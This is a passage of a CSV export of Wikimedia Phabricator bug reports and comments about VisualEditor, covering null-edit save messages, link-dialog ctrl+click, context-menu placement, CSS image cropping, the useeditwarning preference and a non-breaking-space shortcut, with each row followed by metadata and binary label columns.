+As far as I know, this problem is solved for the wikitext editor. We should not be showing the post-edit confirmation on null edits. I just re-tested this to confirm with a null edit to an article. Is there something special about Elitre's case that I should try to replicate?",,,1385406579,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-iwpzwdpnv56ft4z3qyze,task_subcomment,,True,c1,3,False,,,21,,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+236587,"VisualEditor: If making a null change, the ""Your edit was saved"" message appears, even if there were no changes and so it wasn't","This is the same behaviour as the wikitext editor. We really should fix this there first if we're changing behaviour for VisualEditor, so that they match.
+
+CC'ed Steven - is there interest in changing for this case in core?",,,1385399707,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-iwpzwdpnv56ft4z3qyze,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+236582,"VisualEditor: If making a null change, the ""Your edit was saved"" message appears, even if there were no changes and so it wasn't","It might be worth adding that this actually works for Sherry:
+http://en.wikipedia.org/w/index.php?title=User:Whatamidoing_(WMF)/sandbox&action=history .",,,1373648223,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-iwpzwdpnv56ft4z3qyze,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+236577,"VisualEditor: If making a null change, the ""Your edit was saved"" message appears, even if there were no changes and so it wasn't","It must be the ""template within a template"" thing, because it will save without that part. 
+Thanks,
+E.",,,1373644172,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-iwpzwdpnv56ft4z3qyze,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+53236,VisualEditor: Suppression of Cite error in templates still paints a phantom,"Screenshot
+
+Previously we had an issue that the cite extension would throw an error if you had a reference inside a template. That message is now suppressed, but only suppressed - it generates a substantial visual artefact on mouseover that previously contained the error message. See screenshot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+
+**Attached**: {F11227}",Low,25.0,1373635140,1392426157.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-v6t7ev5julnky6rafmtd,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+236235,VisualEditor: Suppression of Cite error in templates still paints a phantom,I believe that this has been fixed for some time; I cannot replicate now.,,,1392426157,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v6t7ev5julnky6rafmtd,task_subcomment,,True,c1,3,True,,,32,,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+53205,VisualEditor: Matching pages list in link dialog should support right-click / ctrl+click to open page in a new window/tab,"A few users at itwp requested that the list of articles you can choose as a wikilink target supports right-click on each title to view the page in another tab; and that disambiguation pages in the same list appear differently (maybe italicized as it currently happens in MediaWiki special pages?) Thanks!
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1373580540,1415310757.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-mwemxfe2uqw3orx4x7j5,task_description,resolved,True,c1,3,False,False,False,1,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+234568,VisualEditor: Matching pages list in link dialog should support right-click / ctrl+click to open page in a new window/tab,Verified the fix in test2 and production.,,,1416433806,,PHID-USER-4alekd35in5tg53zpsl4,True,,,PHID-TASK-mwemxfe2uqw3orx4x7j5,task_subcomment,,True,c1,3,True,,,72,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+234565,VisualEditor: Matching pages list in link dialog should support right-click / ctrl+click to open page in a new window/tab,The fix is verified in betalabs(beware of a difference between Link and Simple link!). The fix applies to the Link.,,,1415399485,,PHID-USER-4alekd35in5tg53zpsl4,True,,,PHID-TASK-mwemxfe2uqw3orx4x7j5,task_subcomment,,True,c1,3,True,,,70,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+234561,VisualEditor: Matching pages list in link dialog should support right-click / ctrl+click to open page in a new window/tab,"Change 171488 merged by jenkins-bot:
+Matching pages from suggestions in link dialog now actually work as links
+
+https://gerrit.wikimedia.org/r/171488",,,1415310550,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mwemxfe2uqw3orx4x7j5,task_subcomment,,True,c1,3,False,,,70,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+234557,VisualEditor: Matching pages list in link dialog should support right-click / ctrl+click to open page in a new window/tab,"Change 171488 had a related patch set uploaded by SuchetaG:
+Matching pages from suggestions in link dialog now actually work as links
+
+https://gerrit.wikimedia.org/r/171488",,,1415237098,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mwemxfe2uqw3orx4x7j5,task_subcomment,,True,c1,3,False,,,70,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+234553,VisualEditor: Matching pages list in link dialog should support right-click / ctrl+click to open page in a new window/tab,"(In reply to Roan Kattouw from comment #3)
+> Both this and bug 50646
+Forget about bug 50646, my mistake, that one was about links in a different context. Comment #3 is still valid for this bug though.",,,1415226493,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-mwemxfe2uqw3orx4x7j5,task_subcomment,,True,c1,3,False,,,70,,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+234549,VisualEditor: Matching pages list in link dialog should support right-click / ctrl+click to open page in a new window/tab,"Both this and bug 50646 should be fixed by making the link suggestions real links, i.e. real <a> tags whose hrefs point to the pages they're suggesting.
+
+To do that, you'd need MWLinkTargetInputWidget to use a specialized subclass of MenuItemWidget; right now it creates plain MenuItemWidgets. Eventually that specialized subclass could be enriched to contain an image and a description etc., per the new designs for the link inspector. We could also use this new widget in MWTitleInputWidget.",,,1415054253,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-mwemxfe2uqw3orx4x7j5,task_subcomment,,True,c1,3,False,,,70,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+234547,VisualEditor: Matching pages list in link dialog should support right-click / ctrl+click to open page in a new window/tab,"Bug 50240 asks for disambiguation pages to be distinguished in the list, so I'm retitling this one to focus on being able to open the targets with ctrl+click/right click. A user at en.wp has requested this functionality as well.",,,1378728231,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-mwemxfe2uqw3orx4x7j5,task_subcomment,,True,c1,3,False,,,10,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+234540,VisualEditor: Matching pages list in link dialog should support right-click / ctrl+click to open page in a new window/tab,"You can use right click or ctrl+click on the links once inserted into the page, but per Bug 48915 this currently leads to the wrong namespace for links other than those to and from the article namespace.",,,1375706305,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-mwemxfe2uqw3orx4x7j5,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+53167,"VisualEditor: Context menu should appear in floated element, not in float origin","Screenshot of problem
+
+When a page contains multiple floated blocks after one another that each have a context menu (e.g. both transclusion) the ones after the first get the context menu in the wrong place. Namely on the second ""line"" of the article instead of where the element actually is (much further down).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11059}",Low,25.0,1373540820,1525988938.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-xtmuxxa5rnveu7aqbphi,task_description,resolved,True,c1,3,True,False,False,1,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0
+1066590,"VisualEditor: Context menu should appear in floated element, not in float origin","This works correctly these days:
+
+https://en.wikipedia.org/wiki/Wangbangsan?veaction=edit
+
+{F18142544}
+{F18142546}",,,1525988938,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-xtmuxxa5rnveu7aqbphi,task_subcomment,,True,c1,3,True,,,253,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+53166,VisualEditor: CSS munging causing CSS image cropping template {{Css Image Crop}} to display wrong portion of image,"Go to https://en.wikipedia.org/wiki/Mohammad_Azharuddin - look at the infobox image. Then hit ""edit"". I have no idea what's happening, but it shouldn't be.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+{T53932}
+{T55226}",Low,25.0,1373539980,1429615760.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-vjl47zkqiz6gdd6vv7bq,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0
+446998,VisualEditor: CSS munging causing CSS image cropping template {{Css Image Crop}} to display wrong portion of image,"The issue as filed was resolved long time ago (see parent bug T52577), I filed T96667 to track the issue of oversized highlights.",,,1429615750,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-vjl47zkqiz6gdd6vv7bq,task_subcomment,,True,c1,3,True,,,94,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+446009,VisualEditor: CSS munging causing CSS image cropping template {{Css Image Crop}} to display wrong portion of image,"There are no screenshots here to show how it used to be broken, but it seems almost correct now. Only the highlight is displayed incorrectly.
+
+https://en.wikipedia.org/w/index.php?title=Mohammad_Azharuddin&oldid=564025381&veaction=edit
+
+{F117707}",,,1429477738,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-vjl47zkqiz6gdd6vv7bq,task_subcomment,,True,c1,3,True,,,93,,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+446008,VisualEditor: CSS munging causing CSS image cropping template {{Css Image Crop}} to display wrong portion of image,"There are no screenshots here to show how it used to be broken, but it seems almost correct now. Only the highlight is displayed incorrectly.
+
+{F117707}",,,1429477722,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-vjl47zkqiz6gdd6vv7bq,task_subcomment,,True,c1,3,True,,,93,,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+232503,VisualEditor: CSS munging causing CSS image cropping template {{Css Image Crop}} to display wrong portion of image,"The image displayed is the same, https://en.wikipedia.org/wiki/File:Mohammad_Azharuddin_Sangeeta_Bijlani.jpg. But it is cropped by CSS (using https://en.wikipedia.org/wiki/Template:Css_Image_Crop) and VE don’t let the image be cropped correctly…",,,1373541156,,PHID-USER-5pyvkdz65d5h5vxebodc,False,,,PHID-TASK-vjl47zkqiz6gdd6vv7bq,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+53057,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning","If would be nice for power users to have an option to disable the popup warning that occurs when you are trying to leave the edit mode while you have done some editing.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1373395140,1397849101.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-7oml5hricm47p3yxxcje,task_description,resolved,True,c1,3,False,False,False,1,,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+250587,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning","Change 126994 merged by jenkins-bot:
+Check useeditwarning preference before showing warning when browsing away from editor
+
+https://gerrit.wikimedia.org/r/126994",,,1397849065,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7oml5hricm47p3yxxcje,task_subcomment,,True,c1,3,False,,,41,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+250579,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning","Change 126994 had a related patch set uploaded by Alex Monk:
+Check useeditwarning preference before showing warning when browsing away from editor
+
+https://gerrit.wikimedia.org/r/126994",,,1397746746,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7oml5hricm47p3yxxcje,task_subcomment,,True,c1,3,False,,,41,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+250571,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning","Change 126977 abandoned by Alex Monk:
+Add preference to disable leaving warning while editing
+
+Reason:
+gah, missed that one.
+
+https://gerrit.wikimedia.org/r/126977",,,1397745885,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7oml5hricm47p3yxxcje,task_subcomment,,True,c1,3,False,,,41,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+250563,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning","The preference 'useeditwarning' already exists, but this bug is about VisualEditor, maybe the VisualEditor does not respect the core preference or implement it's own edit warning.",,,1397744974,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-7oml5hricm47p3yxxcje,task_subcomment,,True,c1,3,True,,,41,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,1,0,0,0
+250556,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning",Note that such a preference existed before and was removed when this functionality was merged into core from the Vector extension (bug 46514).,,,1397743302,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-7oml5hricm47p3yxxcje,task_subcomment,,True,c1,3,True,,,41,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+250547,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning","I'd argue this is unwanted feature mania. If the warning doesn't make sense, remove it. If it does, leave it.",,,1397743017,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-7oml5hricm47p3yxxcje,task_subcomment,,True,c1,3,False,,,41,,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+250539,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning","Change 126977 had a related patch set uploaded by Alex Monk:
+Add preference to disable leaving warning while editing
+
+https://gerrit.wikimedia.org/r/126977",,,1397742780,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7oml5hricm47p3yxxcje,task_subcomment,,True,c1,3,False,,,41,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+250530,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning","As mentioned in IRC, we should make this a core feature for MW and just re-use that preference rather than have a VE-specific one.",,,1373395795,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7oml5hricm47p3yxxcje,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+250521,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning",See http://youtu.be/gqqswqLd5Yw for what I mean,,,1373395370,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-7oml5hricm47p3yxxcje,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+53045,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Editor requests support for adding non-breaking spaces (&nbsp;), keyboard shortcut?
+
+From MediaWiki Feedback:
+
+How do I enter a no-break space (& nbsp;) into the source text via the keyboard? Something like Ctrl+Space would be nice … And, BTW, can I see the difference between a regular space and a no-break space?
+
+Troubled @sset Work • Talk • Mail‎18:03, 8 July 2013
+
+--------------------------
+Alternative: {T70429}",Low,25.0,1373383320,1618448301.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,PHID-USER-7x5ai23ne5qampjf3g7r,False,PHID-TASK-33ykzddzyqsfzj3qavxw,task_description,resolved,True,c1,3,False,False,False,1,,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0
+2161793,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Test wiki on [[ http://localhost/patchdemo | Patch demo ]]  by Ed using patch(es) linked to this task was **deleted**:
+
+~~[[ http://localhost/patchdemo/wikis/bca3f56df9aa1ff71991cf889062e980/w/ ]]~~",,,1689773252,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,True,,,524,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+1703763,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"This should be fixed now, and the change will be deployed to Wikimedia wikis next week.
+
+Here's how the final version works:
+* On every operating system and keyboard layout, VisualEditor should support the built-in shortcut to insert a non-breaking space – e.g. Opt+Space on macOS, or various Linux keyboard layouts like those mentioned in T53045#5133074. (We'd appreciate if you could test with your favorite operating system / browser / language / keyboard layout / input method, as it's impossible for us to verify all combinations.)
+* In addition to that, on PC, we also support the Ctrl+Shift+Space shortcut to insert a non-breaking space.
+* These shortcuts insert the `&nbsp;` entity, in new wikitext editor as well as in the visual editor.",,,1618344115,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,True,,,406,,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+1703719,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Change 255937 **merged** by jenkins-bot:
+%%%[mediawiki/extensions/VisualEditor@master] Add command to insert non-breaking space%%%
+https://gerrit.wikimedia.org/r/255937",,,1618340744,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,406,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1695946,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Change 676162 **merged** by jenkins-bot:
+%%%[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (5d0701ea3)%%%
